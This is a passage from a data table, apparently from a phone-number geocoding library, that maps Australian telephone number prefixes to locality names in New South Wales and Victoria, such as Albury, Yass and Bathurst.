'6126057':{'en': 'Albury'},
'6126058':{'en': 'Albury'},
'61260589':{'en': 'Talmalmo'},
'6126059':{'en': 'Albury'},
'6126060':{'en': 'Albury'},
'61260610':{'en': 'Albury'},
'61260611':{'en': 'Albury'},
'61260612':{'en': 'Albury'},
'61260613':{'en': 'Albury'},
'61260614':{'en': 'Albury'},
'61260615':{'en': 'Corowa'},
'61260616':{'en': 'Corryong'},
'61260617':{'en': 'Corryong'},
'61260618':{'en': 'Cudgewa'},
'61260619':{'en': 'Cudgewa'},
'61260620':{'en': 'Nariel'},
'61260621':{'en': 'Nariel'},
'61260622':{'en': 'Albury'},
'61260623':{'en': 'Albury'},
'61260624':{'en': 'Ournie'},
'61260625':{'en': 'Ournie'},
'61260626':{'en': 'Rand'},
'61260627':{'en': 'Rand'},
'61260628':{'en': 'Rennie'},
'61260629':{'en': 'Rennie'},
'61260630':{'en': 'Talmalmo'},
'61260631':{'en': 'Talmalmo'},
'61260632':{'en': 'Walwa'},
'61260633':{'en': 'Walwa'},
'61260634':{'en': 'Koetong'},
'61260635':{'en': 'Koetong'},
'61260636':{'en': 'Dartmouth'},
'61260637':{'en': 'Dartmouth'},
'61260638':{'en': 'Eskdale'},
'61260639':{'en': 'Eskdale'},
'61260641':{'en': 'Albury'},
'61260642':{'en': 'Albury'},
'61260643':{'en': 'Dartmouth'},
'61260644':{'en': 'Dartmouth'},
'61260645':{'en': 'Balldale'},
'61260646':{'en': 'Corowa'},
'61260647':{'en': 'Howlong'},
'61260648':{'en': 'Rand'},
'61260649':{'en': 'Ournie'},
'61260650':{'en': 'Gerogery'},
'61260651':{'en': 'Little Billabong'},
'61260652':{'en': 'Barnawartha'},
'61260653':{'en': 'Barnawartha'},
'61260654':{'en': 'Culcairn'},
'61260655':{'en': 'Culcairn'},
'61260656':{'en': 'Howlong'},
'61260657':{'en': 'Howlong'},
'61260658':{'en': 'Leicester Park'},
'61260659':{'en': 'Gerogery'},
'61260660':{'en': 'Albury'},
'61260661':{'en': 'Oaklands'},
'61260662':{'en': 'Barnawartha'},
'61260663':{'en': 'Rennie'},
'61260664':{'en': 'Ournie'},
'61260665':{'en': 'Culcairn'},
'61260666':{'en': 'Holbrook'},
'61260667':{'en': 'Gerogery'},
'61260668':{'en': 'Coppabella'},
'61260669':{'en': 'Albury'},
'61260670':{'en': 'Albury'},
'61260671':{'en': 'Walla Walla'},
'61260672':{'en': 'Albury'},
'61260673':{'en': 'Walwa'},
'61260674':{'en': 'Yackandandah'},
'61260675':{'en': 'Balldale'},
'61260676':{'en': 'Leicester Park'},
'61260677':{'en': 'Talgarno'},
'61260678':{'en': 'Talmalmo'},
'61260679':{'en': 'Albury'},
'61260681':{'en': 'Eskdale'},
'61260682':{'en': 'Dartmouth'},
'61260683':{'en': 'Cudgewa'},
'61260684':{'en': 'Tallangatta'},
'61260685':{'en': 'Nariel'},
'61260686':{'en': 'Corryong'},
'61260687':{'en': 'Koetong'},
'61260688':{'en': 'Tallangatta Valley'},
'61260689':{'en': 'Albury'},
'61260691':{'en': 'Corowa'},
'61260692':{'en': 'Howlong'},
'61260693':{'en': 'Rand'},
'61260694':{'en': 'Oaklands'},
'61260695':{'en': 'Barnawartha'},
'61260696':{'en': 'Rennie'},
'61260697':{'en': 'Ournie'},
'61260698':{'en': 'Culcairn'},
'61260699':{'en': 'Albury'},
'61260700':{'en': 'Corryong'},
'61260701':{'en': 'Koetong'},
'61260702':{'en': 'Eskdale'},
'61260703':{'en': 'Tallangatta'},
'61260704':{'en': 'Tallangatta Valley'},
'61260705':{'en': 'Dartmouth'},
'61260706':{'en': 'Corryong'},
'61260707':{'en': 'Cudgewa'},
'61260708':{'en': 'Nariel'},
'61260709':{'en': 'Corryong'},
'6126071':{'en': 'Tallangatta'},
'61260710':{'en': 'Tallangatta Valley'},
'61260719':{'en': 'Tallangatta Valley'},
'61260720':{'en': 'Eskdale'},
'61260721':{'en': 'Eskdale'},
'61260722':{'en': 'Eskdale'},
'61260723':{'en': 'Eskdale'},
'61260724':{'en': 'Dartmouth'},
'61260725':{'en': 'Tallangatta'},
'61260726':{'en': 'Tallangatta'},
'61260727':{'en': 'Koetong'},
'61260728':{'en': 'Koetong'},
'61260729':{'en': 'Tallangatta'},
'61260730':{'en': 'Yackandandah'},
'61260731':{'en': 'Yackandandah'},
'61260732':{'en': 'Walla Walla'},
'61260733':{'en': 'Walla Walla'},
'61260734':{'en': 'Barnawartha'},
'61260735':{'en': 'Barnawartha'},
'61260736':{'en': 'Corowa'},
'61260737':{'en': 'Corowa'},
'61260738':{'en': 'Culcairn'},
'61260739':{'en': 'Culcairn'},
'61260740':{'en': 'Gerogery'},
'61260741':{'en': 'Gerogery'},
'61260742':{'en': 'Holbrook'},
'61260743':{'en': 'Holbrook'},
'61260744':{'en': 'Howlong'},
'61260745':{'en': 'Howlong'},
'61260746':{'en': 'Little Billabong'},
'61260747':{'en': 'Little Billabong'},
'61260748':{'en': 'Talgarno'},
'61260749':{'en': 'Talgarno'},
'61260750':{'en': 'Albury'},
'61260751':{'en': 'Balldale'},
'61260752':{'en': 'Balldale'},
'61260753':{'en': 'Coppabella'},
'61260754':{'en': 'Coppabella'},
'61260755':{'en': 'Leicester Park'},
'61260756':{'en': 'Leicester Park'},
'61260757':{'en': 'Oaklands'},
'61260758':{'en': 'Oaklands'},
'61260759':{'en': 'Albury'},
'6126076':{'en': 'Corryong'},
'61260760':{'en': 'Nariel'},
'61260765':{'en': 'Nariel'},
'61260766':{'en': 'Nariel'},
'61260769':{'en': 'Nariel'},
'61260770':{'en': 'Nariel'},
'61260771':{'en': 'Nariel'},
'61260772':{'en': 'Nariel'},
'61260773':{'en': 'Nariel'},
'61260774':{'en': 'Cudgewa'},
'61260775':{'en': 'Cudgewa'},
'61260776':{'en': 'Cudgewa'},
'61260777':{'en': 'Cudgewa'},
'61260778':{'en': 'Corryong'},
'61260779':{'en': 'Corryong'},
'61260780':{'en': 'Albury'},
'61260781':{'en': 'Balldale'},
'61260782':{'en': 'Barnawartha'},
'61260783':{'en': 'Coppabella'},
'61260784':{'en': 'Corowa'},
'61260785':{'en': 'Culcairn'},
'61260786':{'en': 'Gerogery'},
'61260787':{'en': 'Holbrook'},
'61260788':{'en': 'Howlong'},
'61260789':{'en': 'Leicester Park'},
'61260790':{'en': 'Little Billabong'},
'61260791':{'en': 'Oaklands'},
'61260792':{'en': 'Ournie'},
'61260793':{'en': 'Rand'},
'61260794':{'en': 'Rennie'},
'61260795':{'en': 'Talgarno'},
'61260796':{'en': 'Talmalmo'},
'61260797':{'en': 'Walla Walla'},
'61260798':{'en': 'Walwa'},
'61260799':{'en': 'Yackandandah'},
'61260800':{'en': 'Corryong'},
'61260801':{'en': 'Cudgewa'},
'61260802':{'en': 'Dartmouth'},
'61260803':{'en': 'Eskdale'},
'61260804':{'en': 'Koetong'},
'61260805':{'en': 'Nariel'},
'61260806':{'en': 'Tallangatta'},
'61260807':{'en': 'Tallangatta Valley'},
'61260808':{'en': 'Albury'},
'61260809':{'en': 'Albury'},
'61260810':{'en': 'Albury'},
'61260811':{'en': 'Tallangatta Valley'},
'61260812':{'en': 'Tallangatta Valley'},
'61260813':{'en': 'Holbrook'},
'61260814':{'en': 'Gerogery'},
'61260815':{'en': 'Coppabella'},
'61260816':{'en': 'Walla Walla'},
'61260817':{'en': 'Albury'},
'61260818':{'en': 'Walwa'},
'61260819':{'en': 'Albury'},
'61260821':{'en': 'Yackandandah'},
'61260822':{'en': 'Little Billabong'},
'61260823':{'en': 'Leicester Park'},
'61260824':{'en': 'Talgarno'},
'61260825':{'en': 'Talmalmo'},
'61260826':{'en': 'Eskdale'},
'61260827':{'en': 'Dartmouth'},
'61260828':{'en': 'Cudgewa'},
'61260829':{'en': 'Albury'},
'61260831':{'en': 'Tallangatta'},
'61260832':{'en': 'Nariel'},
'61260833':{'en': 'Corryong'},
'61260834':{'en': 'Koetong'},
'61260835':{'en': 'Tallangatta Valley'},
'61260836':{'en': 'Eskdale'},
'61260837':{'en': 'Dartmouth'},
'61260838':{'en': 'Cudgewa'},
'61260841':{'en': 'Tallangatta'},
'61260842':{'en': 'Nariel'},
'61260843':{'en': 'Corryong'},
'61260844':{'en': 'Koetong'},
'61260845':{'en': 'Tallangatta Valley'},
'61260846':{'en': 'Balldale'},
'61260847':{'en': 'Corowa'},
'61260848':{'en': 'Howlong'},
'61260851':{'en': 'Walwa'},
'61260852':{'en': 'Barnawartha'},
'61260853':{'en': 'Yackandandah'},
'61260854':{'en': 'Coppabella'},
'61260855':{'en': 'Rennie'},
'61260856':{'en': 'Walla Walla'},
'61260857':{'en': 'Ournie'},
'61260858':{'en': 'Rand'},
'61260861':{'en': 'Culcairn'},
'61260862':{'en': 'Little Billabong'},
'61260863':{'en': 'Leicester Park'},
'61260864':{'en': 'Holbrook'},
'61260865':{'en': 'Talgarno'},
'61260866':{'en': 'Gerogery'},
'61260867':{'en': 'Talmalmo'},
'61260868':{'en': 'Oaklands'},
'61260869':{'en': 'Dartmouth'},
'6126087':{'en': 'Albury'},
'61260882':{'en': 'Coppabella'},
'61260883':{'en': 'Holbrook'},
'61260884':{'en': 'Walwa'},
'61260885':{'en': 'Barnawartha'},
'61260886':{'en': 'Albury'},
'61260887':{'en': 'Walla Walla'},
'61260888':{'en': 'Rennie'},
'61260889':{'en': 'Balldale'},
'61260890':{'en': 'Gerogery'},
'61260891':{'en': 'Little Billabong'},
'61260892':{'en': 'Culcairn'},
'61260893':{'en': 'Talmalmo'},
'61260894':{'en': 'Rand'},
'61260895':{'en': 'Oaklands'},
'61260896':{'en': 'Leicester Park'},
'61260897':{'en': 'Talgarno'},
'61260898':{'en': 'Corowa'},
'61260899':{'en': 'Yackandandah'},
'61260900':{'en': 'Howlong'},
'61260910':{'en': 'Ournie'},
'61260920':{'en': 'Albury'},
'61260921':{'en': 'Albury'},
'61260922':{'en': 'Albury'},
'61260923':{'en': 'Albury'},
'61260924':{'en': 'Albury'},
'61260925':{'en': 'Albury'},
'61260926':{'en': 'Albury'},
'61261':{'en': 'Canberra'},
'61261040':{'en': 'Anembo'},
'61261041':{'en': 'Anembo'},
'61261042':{'en': 'Anembo'},
'61261043':{'en': 'Binalong'},
'61261044':{'en': 'Binalong'},
'61261045':{'en': 'Binalong'},
'61261046':{'en': 'Bungendore'},
'61261047':{'en': 'Bungendore'},
'61261048':{'en': 'Bungendore'},
'61261050':{'en': 'Burrinjuck'},
'61261051':{'en': 'Burrinjuck'},
'61261052':{'en': 'Burrinjuck'},
'61261053':{'en': 'Captains Flat'},
'61261054':{'en': 'Captains Flat'},
'61261055':{'en': 'Captains Flat'},
'61261056':{'en': 'Cavan'},
'61261057':{'en': 'Cavan'},
'61261058':{'en': 'Cavan'},
'61261059':{'en': 'Anembo'},
'61261060':{'en': 'Gearys Gap'},
'61261061':{'en': 'Gearys Gap'},
'61261062':{'en': 'Gearys Gap'},
'61261063':{'en': 'Gundaroo'},
'61261064':{'en': 'Gundaroo'},
'61261065':{'en': 'Gundaroo'},
'61261066':{'en': 'Michelago'},
'61261067':{'en': 'Michelago'},
'61261068':{'en': 'Michelago'},
'61261069':{'en': 'Binalong'},
'61261070':{'en': 'Rye Park'},
'61261071':{'en': 'Rye Park'},
'61261072':{'en': 'Rye Park'},
'61261073':{'en': 'The Mullion'},
'61261074':{'en': 'The Mullion'},
'61261075':{'en': 'The Mullion'},
'61261076':{'en': 'Uriarra Forest'},
'61261077':{'en': 'Uriarra Forest'},
'61261078':{'en': 'Uriarra Forest'},
'61261079':{'en': 'Rye Park'},
'61261080':{'en': 'Yass'},
'61261081':{'en': 'Yass'},
'61261082':{'en': 'Yass'},
'61261085':{'en': 'The Mullion'},
'61261086':{'en': 'Uriarra Forest'},
'61261087':{'en': 'Yass'},
'61261088':{'en': 'Anembo'},
'61261089':{'en': 'Binalong'},
'61261110':{'en': 'Bungendore'},
'61261113':{'en': 'Bungendore'},
'61261114':{'en': 'Burrinjuck'},
'61261115':{'en': 'Captains Flat'},
'61261116':{'en': 'Cavan'},
'61261117':{'en': 'Gearys Gap'},
'61261118':{'en': 'Gundaroo'},
'61261119':{'en': 'Michelago'},
'61261140':{'en': 'Burrinjuck'},
'61261146':{'en': 'Captains Flat'},
'61261147':{'en': 'Cavan'},
'61261148':{'en': 'Gearys Gap'},
'61261149':{'en': 'Gundaroo'},
'61261150':{'en': 'Michelago'},
'61261151':{'en': 'Rye Park'},
'61261152':{'en': 'The Mullion'},
'61261153':{'en': 'Uriarra Forest'},
'61261154':{'en': 'Yass'},
'61261155':{'en': 'Anembo'},
'61261156':{'en': 'Binalong'},
'61261157':{'en': 'The Mullion'},
'61261158':{'en': 'Uriarra Forest'},
'61261159':{'en': 'Yass'},
'61261160':{'en': 'Bungendore'},
'61261161':{'en': 'Burrinjuck'},
'61261162':{'en': 'Captains Flat'},
'61261163':{'en': 'Cavan'},
'61261164':{'en': 'Gearys Gap'},
'61261165':{'en': 'Gundaroo'},
'61261166':{'en': 'Michelago'},
'61261167':{'en': 'Rye Park'},
'61261169':{'en': 'Anembo'},
'61261170':{'en': 'Binalong'},
'61261171':{'en': 'Bungendore'},
'61261172':{'en': 'Burrinjuck'},
'61261173':{'en': 'Captains Flat'},
'61261174':{'en': 'Cavan'},
'61261175':{'en': 'Gearys Gap'},
'61261176':{'en': 'Gundaroo'},
'61261177':{'en': 'Michelago'},
'61261178':{'en': 'Rye Park'},
'61261179':{'en': 'The Mullion'},
'61261180':{'en': 'Binalong'},
'61261181':{'en': 'Binalong'},
'61261182':{'en': 'Burrinjuck'},
'61261183':{'en': 'Cavan'},
'61261184':{'en': 'Rye Park'},
'61261185':{'en': 'The Mullion'},
'61261186':{'en': 'Yass'},
'61261187':{'en': 'Yass'},
'61261188':{'en': 'The Mullion'},
'61261189':{'en': 'Uriarra Forest'},
'61261190':{'en': 'Anembo'},
'61261191':{'en': 'Captains Flat'},
'61261192':{'en': 'Captains Flat'},
'61261193':{'en': 'Gearys Gap'},
'61261194':{'en': 'Gearys Gap'},
'61261195':{'en': 'Gundaroo'},
'61261196':{'en': 'Gundaroo'},
'61261197':{'en': 'Bungendore'},
'61261198':{'en': 'Yass'},
'61261199':{'en': 'Rye Park'},
'61261302':{'en': 'Uriarra Forest'},
'61261303':{'en': 'Yass'},
'61261304':{'en': 'Anembo'},
'61261305':{'en': 'Binalong'},
'61261306':{'en': 'Bungendore'},
'61261307':{'en': 'Burrinjuck'},
'61261308':{'en': 'Captains Flat'},
'61261309':{'en': 'Cavan'},
'61261340':{'en': 'Gearys Gap'},
'61261341':{'en': 'Gundaroo'},
'61261342':{'en': 'Michelago'},
'61261343':{'en': 'The Mullion'},
'61261344':{'en': 'Uriarra Forest'},
'61261345':{'en': 'Yass'},
'61261347':{'en': 'Anembo'},
'61261348':{'en': 'Binalong'},
'61261349':{'en': 'Bungendore'},
'61261360':{'en': 'Burrinjuck'},
'61261362':{'en': 'Captains Flat'},
'61261363':{'en': 'Cavan'},
'61261364':{'en': 'Gearys Gap'},
'61261365':{'en': 'Gundaroo'},
'61261366':{'en': 'Michelago'},
'61261367':{'en': 'Rye Park'},
'61261368':{'en': 'The Mullion'},
'61261369':{'en': 'Uriarra Forest'},
'61261370':{'en': 'Yass'},
'61261371':{'en': 'Yass'},
'61261372':{'en': 'Anembo'},
'61261373':{'en': 'Binalong'},
'61261374':{'en': 'Bungendore'},
'61261375':{'en': 'Burrinjuck'},
'61261376':{'en': 'Captains Flat'},
'61261377':{'en': 'Cavan'},
'61261378':{'en': 'Gearys Gap'},
'61261379':{'en': 'Gundaroo'},
'61261380':{'en': 'Michelago'},
'61261381':{'en': 'Rye Park'},
'61261382':{'en': 'The Mullion'},
'61261383':{'en': 'Uriarra Forest'},
'61261384':{'en': 'Yass'},
'61261385':{'en': 'Bungendore'},
'61261386':{'en': 'Yass'},
'61261387':{'en': 'Anembo'},
'61261388':{'en': 'Binalong'},
'61261389':{'en': 'Bungendore'},
'61261390':{'en': 'Burrinjuck'},
'61261392':{'en': 'Captains Flat'},
'61261393':{'en': 'Cavan'},
'61261394':{'en': 'Gearys Gap'},
'61261395':{'en': 'Gundaroo'},
'61261396':{'en': 'Michelago'},
'61261397':{'en': 'Rye Park'},
'61261398':{'en': 'The Mullion'},
'61261399':{'en': 'Uriarra Forest'},
'61261400':{'en': 'Yass'},
'61261409':{'en': 'Anembo'},
'61261410':{'en': 'Binalong'},
'61261451':{'en': 'Michelago'},
'61261453':{'en': 'Yass'},
'61261454':{'en': 'Captains Flat'},
'61261455':{'en': 'Cavan'},
'61261456':{'en': 'Binalong'},
'61261457':{'en': 'Gundaroo'},
'61261458':{'en': 'Gearys Gap'},
'61261459':{'en': 'Bungendore'},
'61261480':{'en': 'Burrinjuck'},
'61261481':{'en': 'The Mullion'},
'61261482':{'en': 'Uriarra Forest'},
'61261483':{'en': 'Anembo'},
'61261484':{'en': 'Bungendore'},
'61261485':{'en': 'Rye Park'},
'61261486':{'en': 'Burrinjuck'},
'61261487':{'en': 'Michelago'},
'61261488':{'en': 'Yass'},
'61261490':{'en': 'Captains Flat'},
'61261491':{'en': 'Captains Flat'},
'61261492':{'en': 'Cavan'},
'61261493':{'en': 'Cavan'},
'61261494':{'en': 'Binalong'},
'61261495':{'en': 'Gundaroo'},
'61261496':{'en': 'Gearys Gap'},
'61261497':{'en': 'The Mullion'},
'61261498':{'en': 'Uriarra Forest'},
'61261499':{'en': 'Gearys Gap'},
'61261500':{'en': 'Gundaroo'},
'61261501':{'en': 'Anembo'},
'61261502':{'en': 'Bungendore'},
'61261503':{'en': 'Rye Park'},
'61261504':{'en': 'Burrinjuck'},
'61261526':{'en': 'Yass'},
'61261527':{'en': 'Yass'},
'61261537':{'en': 'The Mullion'},
'61261538':{'en': 'Bungendore'},
'61261539':{'en': 'Michelago'},
'61261570':{'en': 'Anembo'},
'61261571':{'en': 'Binalong'},
'61261572':{'en': 'Yass'},
'61261573':{'en': 'Bungendore'},
'61261574':{'en': 'Burrinjuck'},
'61261576':{'en': 'Captains Flat'},
'61261577':{'en': 'Cavan'},
'61261578':{'en': 'Uriarra Forest'},
'61261579':{'en': 'The Mullion'},
'61261580':{'en': 'Michelago'},
'61261581':{'en': 'Gundaroo'},
'61261582':{'en': 'Gundaroo'},
'61261583':{'en': 'Cavan'},
'61261584':{'en': 'Binalong'},
'61261585':{'en': 'Uriarra Forest'},
'61261586':{'en': 'Captains Flat'},
'61261587':{'en': 'Anembo'},
'61261588':{'en': 'Burrinjuck'},
'61261589':{'en': 'Rye Park'},
'61261590':{'en': 'The Mullion'},
'61261591':{'en': 'Gearys Gap'},
'61261592':{'en': 'Rye Park'},
'61261599':{'en': 'Uriarra Forest'},
'61261640':{'en': 'Anembo'},
'61261641':{'en': 'Binalong'},
'61261642':{'en': 'Bungendore'},
'61261643':{'en': 'Burrinjuck'},
'61261644':{'en': 'Captains Flat'},
'61261645':{'en': 'Cavan'},
'61261646':{'en': 'Gearys Gap'},
'61261647':{'en': 'Gundaroo'},
'61261648':{'en': 'Michelago'},
'61261649':{'en': 'Rye Park'},
'61261680':{'en': 'Burrinjuck'},
'61261681':{'en': 'Binalong'},
'61261682':{'en': 'Bungendore'},
'61261683':{'en': 'Cavan'},
'61261684':{'en': 'Captains Flat'},
'61261685':{'en': 'Gearys Gap'},
'61261686':{'en': 'Gundaroo'},
'61261687':{'en': 'Michelago'},
'61261688':{'en': 'The Mullion'},
'61261689':{'en': 'Anembo'},
'61261690':{'en': 'Rye Park'},
'61261691':{'en': 'Yass'},
'61261692':{'en': 'Uriarra Forest'},
'61261698':{'en': 'Bungendore'},
'61261699':{'en': 'Bungendore'},
'61261790':{'en': 'Yass'},
'61261791':{'en': 'Michelago'},
'61261792':{'en': 'Gundaroo'},
'61261881':{'en': 'Captains Flat'},
'61261946':{'en': 'Rye Park'},
'61261947':{'en': 'Gearys Gap'},
'61261948':{'en': 'Gundaroo'},
'61262':{'en': 'Canberra'},
'61262201':{'en': 'Yass'},
'61262202':{'en': 'Yass'},
'61262203':{'en': 'Binalong'},
'61262204':{'en': 'Burrinjuck'},
'61262205':{'en': 'Cavan'},
'61262206':{'en': 'Rye Park'},
'61262207':{'en': 'The Mullion'},
'6126226':{'en': 'Yass'},
'61262268':{'en': 'The Mullion'},
'61262270':{'en': 'The Mullion'},
'61262271':{'en': 'Yass'},
'61262272':{'en': 'Rye Park'},
'61262273':{'en': 'Rye Park'},
'61262274':{'en': 'Binalong'},
'61262275':{'en': 'The Mullion'},
'61262276':{'en': 'Binalong'},
'61262277':{'en': 'Binalong'},
'61262278':{'en': 'Burrinjuck'},
'61262279':{'en': 'Cavan'},
'61262308':{'en': 'Anembo'},
'61262331':{'en': 'Bungendore'},
'61262332':{'en': 'Gearys Gap'},
'61262333':{'en': 'Gundaroo'},
'61262334':{'en': 'Uriarra Forest'},
'61262335':{'en': 'Michelago'},
'61262336':{'en': 'Captains Flat'},
'61262337':{'en': 'Anembo'},
'6126235':{'en': 'Michelago'},
'61262360':{'en': 'Uriarra Forest'},
'61262361':{'en': 'Uriarra Forest'},
'61262362':{'en': 'Uriarra Forest'},
'61262363':{'en': 'Captains Flat'},
'61262364':{'en': 'Captains Flat'},
'61262365':{'en': 'Uriarra Forest'},
'61262366':{'en': 'Captains Flat'},
'61262367':{'en': 'Captains Flat'},
'61262368':{'en': 'Gundaroo'},
'61262369':{'en': 'Gearys Gap'},
'6126237':{'en': 'Michelago'},
'6126238':{'en': 'Bungendore'},
'61263000':{'en': 'Bathurst'},
'61263001':{'en': 'Burraga'},
'61263002':{'en': 'Gingkin'},
'61263003':{'en': 'Hill End'},
'61263004':{'en': 'Killongbutta'},
'61263005':{'en': 'Limekilns'},
'61263006':{'en': 'Oberon'},
'61263007':{'en': 'Rockley'},
'61263008':{'en': 'Yetholme'},
'61263009':{'en': 'Canowindra'},
'61263010':{'en': 'Baldry'},
'61263011':{'en': 'Baldry'},
'61263012':{'en': 'Baldry'},
'61263013':{'en': 'Bathurst'},
'61263014':{'en': 'Bathurst'},
'61263015':{'en': 'Bathurst'},
'61263016':{'en': 'Birriwa'},
'61263017':{'en': 'Birriwa'},
'61263018':{'en': 'Birriwa'},
'61263019':{'en': 'Bathurst'},
'61263020':{'en': 'Blayney'},
'61263021':{'en': 'Blayney'},
'61263022':{'en': 'Blayney'},
'61263023':{'en': 'Boorowa'},
'61263024':{'en': 'Boorowa'},
'61263025':{'en': 'Boorowa'},
'61263026':{'en': 'Bribbaree'},
'61263027':{'en': 'Bribbaree'},
'61263028':{'en': 'Bribbaree'},
'61263029':{'en': 'Burraga'},
'61263030':{'en': 'Burraga'},
'61263031':{'en': 'Burraga'},
'61263032':{'en': 'Burraga'},
'61263033':{'en': 'Bylong'},
'61263034':{'en': 'Bylong'},
'61263035':{'en': 'Bylong'},
'61263036':{'en': 'Canowindra'},
'61263037':{'en': 'Canowindra'},
'61263038':{'en': 'Canowindra'},
'612630390':{'en': 'Gingkin'},
'612630391':{'en': 'Gingkin'},
'612630392':{'en': 'Gingkin'},
'612630393':{'en': 'Gingkin'},
'612630394':{'en': 'Burraga'},
'612630395':{'en': 'Burraga'},
'612630396':{'en': 'Gingkin'},
'612630397':{'en': 'Burraga'},
'612630398':{'en': 'Burraga'},
'612630399':{'en': 'Burraga'},
'61263040':{'en': 'Caragabal'},
'61263041':{'en': 'Caragabal'},
'61263042':{'en': 'Caragabal'},
'61263043':{'en': 'Cassilis'},
'61263044':{'en': 'Cassilis'},
'61263045':{'en': 'Cassilis'},
'61263046':{'en': 'Coolah'},
'61263047':{'en': 'Coolah'},
'61263048':{'en': 'Coolah'},
'612630490':{'en': 'Hill End'},
'612630491':{'en': 'Hill End'},
'612630492':{'en': 'Hill End'},
'612630493':{'en': 'Hill End'},
'612630494':{'en': 'Burraga'},
'612630495':{'en': 'Burraga'},
'612630496':{'en': 'Hill End'},
'612630497':{'en': 'Burraga'},
'612630498':{'en': 'Burraga'},
'612630499':{'en': 'Burraga'},
'61263050':{'en': 'Windeyer'},
'61263051':{'en': 'Windeyer'},
'61263052':{'en': 'Windeyer'},
'61263053':{'en': 'Windeyer'},
'61263054':{'en': 'Blayney'},
'61263055':{'en': 'Blayney'},
'61263056':{'en': 'Bathurst'},
'61263057':{'en': 'Cowra'},
'61263058':{'en': 'Cowra'},
'61263059':{'en': 'Cowra'},
'61263060':{'en': 'Cudal'},
'61263061':{'en': 'Cudal'},
'61263062':{'en': 'Cudal'},
'61263063':{'en': 'Cumnock'},
'61263064':{'en': 'Cumnock'},
'61263065':{'en': 'Cumnock'},
'61263066':{'en': 'Dunedoo'},
'61263067':{'en': 'Dunedoo'},
'61263068':{'en': 'Dunedoo'},
'612630690':{'en': 'Killongbutta'},
'612630691':{'en': 'Killongbutta'},
'612630692':{'en': 'Killongbutta'},
'612630693':{'en': 'Killongbutta'},
'612630694':{'en': 'Burraga'},
'612630695':{'en': 'Burraga'},
'612630696':{'en': 'Killongbutta'},
'612630697':{'en': 'Burraga'},
'612630698':{'en': 'Burraga'},
'612630699':{'en': 'Burraga'},
'61263070':{'en': 'Euchareena'},
'61263071':{'en': 'Euchareena'},
'61263072':{'en': 'Euchareena'},
'61263073':{'en': 'Frogmore'},
'61263074':{'en': 'Frogmore'},
'61263075':{'en': 'Frogmore'},
'61263076':{'en': 'Galong'},
'61263077':{'en': 'Galong'},
'61263078':{'en': 'Galong'},
'612630790':{'en': 'Limekilns'},
'612630791':{'en': 'Limekilns'},
'612630792':{'en': 'Limekilns'},
'612630793':{'en': 'Limekilns'},
'612630794':{'en': 'Burraga'},
'612630795':{'en': 'Burraga'},
'612630796':{'en': 'Limekilns'},
'612630797':{'en': 'Burraga'},
'612630798':{'en': 'Burraga'},
'612630799':{'en': 'Burraga'},
'61263080':{'en': 'Gingkin'},
'61263081':{'en': 'Gingkin'},
'61263082':{'en': 'Gingkin'},
'61263083':{'en': 'Glen Davis'},
'61263084':{'en': 'Glen Davis'},
'61263085':{'en': 'Glen Davis'},
'61263086':{'en': 'Gooloogong'},
'61263087':{'en': 'Gooloogong'},
'61263088':{'en': 'Gooloogong'},
'612630890':{'en': 'Oberon'},
'612630891':{'en': 'Oberon'},
'612630892':{'en': 'Oberon'},
'612630893':{'en': 'Oberon'},
'612630894':{'en': 'Burraga'},
'612630895':{'en': 'Burraga'},
'612630896':{'en': 'Oberon'},
'612630897':{'en': 'Burraga'},
'612630898':{'en': 'Burraga'},
'612630899':{'en': 'Burraga'},
'61263090':{'en': 'Greenethorpe'},
'61263091':{'en': 'Greenethorpe'},
'61263092':{'en': 'Greenethorpe'},
'61263093':{'en': 'Grenfell'},
'61263094':{'en': 'Grenfell'},
'61263095':{'en': 'Grenfell'},
'61263096':{'en': 'Gulgong'},
'61263097':{'en': 'Gulgong'},
'61263098':{'en': 'Gulgong'},
'612630990':{'en': 'Rockley'},
'612630991':{'en': 'Rockley'},
'612630992':{'en': 'Rockley'},
'612630993':{'en': 'Rockley'},
'612630994':{'en': 'Burraga'},
'612630995':{'en': 'Burraga'},
'612630996':{'en': 'Rockley'},
'612630997':{'en': 'Burraga'},
'612630998':{'en': 'Burraga'},
'612630999':{'en': 'Burraga'},
'61263100':{'en': 'Hampton'},
'61263101':{'en': 'Hampton'},
'61263102':{'en': 'Hampton'},
'61263103':{'en': 'Harden'},
'61263104':{'en': 'Harden'},
'61263105':{'en': 'Harden'},
'61263106':{'en': 'Hill End'},
'61263107':{'en': 'Hill End'},
'61263108':{'en': 'Hill End'},
'61263109':{'en': 'Orange'},
'61263110':{'en': 'Orange'},
'61263111':{'en': 'Orange'},
'61263112':{'en': 'Orange'},
'61263113':{'en': 'Kandos'},
'61263114':{'en': 'Kandos'},
'61263115':{'en': 'Kandos'},
'61263116':{'en': 'Killongbutta'},
'61263117':{'en': 'Killongbutta'},
'61263118':{'en': 'Killongbutta'},
'61263119':{'en': 'Yetholme'},
'61263120':{'en': 'Koorawatha'},
'61263121':{'en': 'Koorawatha'},
'61263122':{'en': 'Koorawatha'},
'61263123':{'en': 'Laheys Creek'},
'61263124':{'en': 'Laheys Creek'},
'61263125':{'en': 'Laheys Creek'},
'61263126':{'en': 'Leadville'},
'61263127':{'en': 'Leadville'},
'61263128':{'en': 'Leadville'},
'61263129':{'en': 'Canowindra'},
'61263130':{'en': 'Limekilns'},
'61263131':{'en': 'Limekilns'},
'61263132':{'en': 'Limekilns'},
'61263133':{'en': 'Lithgow'},
'61263134':{'en': 'Lithgow'},
'61263135':{'en': 'Lithgow'},
'61263136':{'en': 'Lue'},
'61263137':{'en': 'Lue'},
'61263138':{'en': 'Lue'},
'61263139':{'en': 'Caragabal'},
'612631394':{'en': 'Canowindra'},
'612631397':{'en': 'Canowindra'},
'612631398':{'en': 'Canowindra'},
'612631399':{'en': 'Canowindra'},
'61263140':{'en': 'Lyndhurst'},
'61263141':{'en': 'Lyndhurst'},
'61263142':{'en': 'Lyndhurst'},
'61263143':{'en': 'Maimuru'},
'61263144':{'en': 'Maimuru'},
'61263145':{'en': 'Maimuru'},
'61263146':{'en': 'Manildra'},
'61263147':{'en': 'Manildra'},
'61263148':{'en': 'Manildra'},
'61263149':{'en': 'Cowra'},
'61263150':{'en': 'Meadow Flat'},
'61263151':{'en': 'Meadow Flat'},
'61263152':{'en': 'Meadow Flat'},
'61263153':{'en': 'Merriganowry'},
'61263154':{'en': 'Merriganowry'},
'61263155':{'en': 'Merriganowry'},
'61263156':{'en': 'Millthorpe'},
'61263157':{'en': 'Millthorpe'},
'61263158':{'en': 'Millthorpe'},
'61263159':{'en': 'Gooloogong'},
'612631594':{'en': 'Canowindra'},
'612631597':{'en': 'Canowindra'},
'612631598':{'en': 'Canowindra'},
